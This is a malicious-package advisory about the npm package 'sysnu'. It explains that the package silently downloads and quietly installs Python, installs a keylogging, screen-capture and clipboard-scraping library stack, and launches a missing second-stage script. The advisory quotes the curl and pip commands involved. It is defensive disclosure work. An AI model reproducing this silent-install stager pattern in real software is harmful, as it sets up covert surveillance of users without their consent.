MAL-2026-5617

Dashboard / Malicious Package / MAL-2026-5617

MAL-2026-5617

Summary: Malicious code in sysnu (npm)

Details: Source: amazon-inspector (eac9873e59ffdf79c56fd4f9366b56e0532f87dc00c4380fae18d714785b0bc8) On require() / CLI invocation, sysnu performs two install-time-equivalent actions on Windows hosts. First, if `python` is not on PATH, index.js (lines 42-46) runs `curl -s -L -o <tmp>\python-3.12.3-amd64.exe https://www.python.org/ftp/python/3.12.3/python-3.12.3-amd64.exe` and then executes the installer with `/quiet InstallAllUsers=0 PrependPath=1`, deleting the installer afterwards. Code comments explicitly describe this as a 'GHOST INSTALLER' with 'No UI, No Admin Popup' — i.e., the runtime is provisioned and PATH is mutated with no user consent. Second, index.js line 73 unconditionally runs `pip install pyperclip keyboard requests pillow mss pyautogui pywin32 uiautomation comtypes --quiet` — a Windows surveillance stack covering keylogging (keyboard), screen capture (mss/pillow), input automation (pyautogui), clipboard scraping (pyperclip), and UI automation (uiautomation/comtypes/pywin32). Index.js line 81 then spawns `python pointer.py`, but `pointer.py` is NOT present in the tarball, so the package is a stager awaiting an out-of-band payload that will execute with the freshly-installed surveillance primitives available. The package's advertised purpose ('System binary configuration tool') has no relationship to clipboard/keyboard/screen capture. Metadata is placeholder-grade (author 'ABC', no repository/homepage, generic description), consistent with a throwaway dropper account.

References: https://www.npmjs.com/package/sysnu/v/1.0.1, https://www.npmjs.com/package/sysnu/v/1.0.0